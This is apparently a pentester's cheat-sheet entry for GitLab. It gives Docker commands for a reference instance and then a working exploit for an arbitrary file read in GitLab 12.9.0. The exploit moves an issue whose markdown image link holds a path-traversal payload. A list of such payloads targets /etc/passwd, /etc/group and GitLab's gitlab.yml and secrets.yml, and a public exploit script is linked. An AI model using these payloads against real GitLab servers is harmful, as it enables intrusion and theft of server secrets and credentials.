Gitlab
Intro
If you need to setup reference env :
# Community
sudo docker run --rm -it gitlab/gitlab-ce
# Enterprise
sudo docker run --rm -it gitlab/gitlab-ee
12.9.0 Read File
~2020-05-03
Exploit
Create 2 projects
Create 1 issue on one of them with the folling description and move the issue to the other project
![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../etc/passwd)
Exploit only work if gitlab can read all the files you specify for each new issue.
There is an exploit script but it didn’t work for me : https://www.exploit-db.com/exploits/48431
Files to read
# Generic
![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../etc/passwd)
![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../etc/issue)
![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../etc/group)
# Gitlab
![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../var/opt/gitlab/gitlab-rails/etc/gitlab.yml)
![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../var/opt/gitlab/gitlab-rails/etc/secrets.yml)